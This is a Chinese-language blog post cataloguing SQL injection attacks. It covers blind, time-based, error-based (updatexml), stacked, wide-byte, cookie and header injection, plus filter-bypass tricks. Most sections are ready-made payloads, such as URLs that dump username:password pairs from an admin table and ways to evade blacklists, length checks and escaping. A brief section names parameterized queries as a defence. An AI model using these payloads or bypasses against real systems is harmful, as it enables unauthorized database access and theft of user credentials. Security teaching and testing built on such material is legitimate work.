SQLi攻击介绍

一、盲注攻击

a.常用方法

1.判断当前主数据库版本

left(version(),1)=5#

2.判断数据库密码

之前类似,爆库、表、列,无非换成判断条件。

and ascii(substring((select password from users where id =1),1,1))=49

3.利用事件延迟判断正误

union select if(substring(password,1,1)='a',benchmark(10000,sha1(1)),0)
                    User,Password from mysql.user where User='root'

b.流程

1.寻找注入点

 ’,恒真恒假

2.获取信息

1…获取目标数据库的版本信息,当前数据库的库名,数据库用户名和密码。

获取流程:

1.判断长度,例如user()

1' AND  length(user())=1#

2.利用mid函数查询当前用户第一个字符ASCII是否大于140

use1' AND ascii(mid(user(),1,1))>140#
use1' AND mid(user(),1,1)='r

3.利用时间判断。

1‘ union if(length(user())='1',sleep(3),1)#

1' union if(length(user())='1',benchmark(10000,rand()),1)#

二、报错注入攻击

错误信息显示到页面上。

在这里插入图片描述
在这里插入图片描述

攻击语句如下

爆数据库版本信息
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)  


链接用户
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) 


链接数据库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) 


爆库
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct
concat(0x7e, (select schema_name),0x7e) FROM admin limit 0,1),0x7e),1)  

爆表
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct 
concat(0x7e, (select  table_name),0x7e) FROM admin limit 0,1),0x7e),1

爆字段
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct 
concat(0x7e, (select column_name),0x7e) FROM admin limit 0,1),0x7e),1)  

爆字段内容
http://www.hackblog.cn/sql.php?id=1 and updatexml(1,concat(0x7e,(SELECT distinct 
concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)  


1.利用updatexml()获取语句

在这里插入图片描述

concat 与 concat_ws

1)、concat()函数

1、功能:将多个字符串连接成一个字符串。

2、语法:concat(str1, str2,…)

返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null。

2)、concat_ws()函数

1、功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符~(concat_ws就是concat with separator)

2、语法:concat_ws(separator, str1, str2, …)

说明:第一个参数指定分隔符。需要注意的是分隔符不能为null,如果为null,则返回结果为null。

2.提取数据

1. insert进行dump

INSERT INTO users (id, username, password) VALUES (2,'r00tgrok' or updatexml(0,

concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1)),0) or '', 

'ohmygod_is_r00tgrok');

2. delete进行dump

DELETE FROM users WHERE id=1 or updatexml(0,

concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM users limit 0,1)),0) or '';

3.update进行dump

同一个表不能用update进行dump,不同的表却可以

  UPDATE students SET name='Nicky' or Updatexml(1,
  
  concat(0x7e,(SELECT concat_ws(':',id, username, password) FROM newdb.users limit 0,1)),0) or' ' 
  
  WHERE id=1;

3.总结

在这里插入图片描述
具体可参考https://www.cnblogs.com/babers/articles/7252401.html

三、其他各种注入

1.时间注入

1' and if (ord(substring(user(),1,1))=144,sleep(3),1)#

2.堆叠注入

执行多条语句

’ ;select if(substr(user(),1,1)='r',sleep(3),1)#

3.二次注入攻击

当前页面有转义,另一个页面未转义。

4.宽字节注入

id=1%df' union select 1,user(),3 %23

5.cookie注入

cookie中含有参数id=1。

对此进行注入。

6.base64注入

对值进行base64

7.XFF注入

将XFF修改成 127.0.0.1’ ,观察页面,出现与 127.0.0.1结果不同,则存在注入漏洞。
可以尝试

127.0.0.1’ union select 1,2,3,4#

四、绕过方法和防护手段

1.参数长度检测和绕过

a.防护思路

PHP中,通过strlen()检查输入长度,进行判断。

b.攻击手段

1.考虑简短语句来绕过,先测 or 1=1

2.尝试添加注释符来改变句意。 如 test'-- . (–后有空格)

2.危险参数过滤

a.防护思路

1.黑名单
2.白名单
3.参数转义

b.攻击手段

1)黑名单绕过
1. 使用大小写
2. 使用SQL注释
'/**/UNION/**/SELECT/**/password/**/FROM/**/tablusers/**/
                                                      WHERE/**/username/**/like/**/'admin

执行SQL语句时候,会自动忽视注释符,此针对空格

3. Like 代替 ’=‘
4. 嵌套
5. 用+号 实现对危险字符的拆分
a' 'o'+'r'  '1'=1'
6.利用系统的注释符截断--

结果如下

select * from users where username='admin' --  and password='xx'
7.< 尖括号过滤绕过。

用between、greatest绕过

select ord(substring(user(),1,1)) between 114 and 114

select greatest(ascii(user(),1,1),140)=140
8.逗号过滤绕过方式

使用from x for y绕过

select substr(user() from 1 for 1)

9.空格过滤绕过方式

用/**/代替空格

10.编码绕过

由于服务器会对URL进行一次解码,所以需要将关键词编码 2 次,需要选择URL全编码,而非普通的URL编码

11.内联注释绕过
 /* ....  */ 在大部分语言中都一样是注释。这个之中的语句是不被执行的。 

但MYSQL中 为了保持兼容,比如从mysqldump 导出的SQL语句能被其它数据库直接使用,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行。

id=1 /*!and*/ 1=1 

成功使得关键字绕过。

2)转义

MYSQL转义过程:

MYSQL收到请求,将数据从character_set_client转换为 character_set_connerction.进行内部操作前将请求数据从character_set_connerction转为内部操作字符集。再将内部操作字符集转为character_set_result.

宽字节绕过。-------------PHP使用character_set_client进行编码,如果编码是(GBK系列)会存在宽字节注入漏洞。

3.参数化查询

a.防护思路

数据库服务器在数据库完成SQL指令的编译后,才套用参数进行(预编译)

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值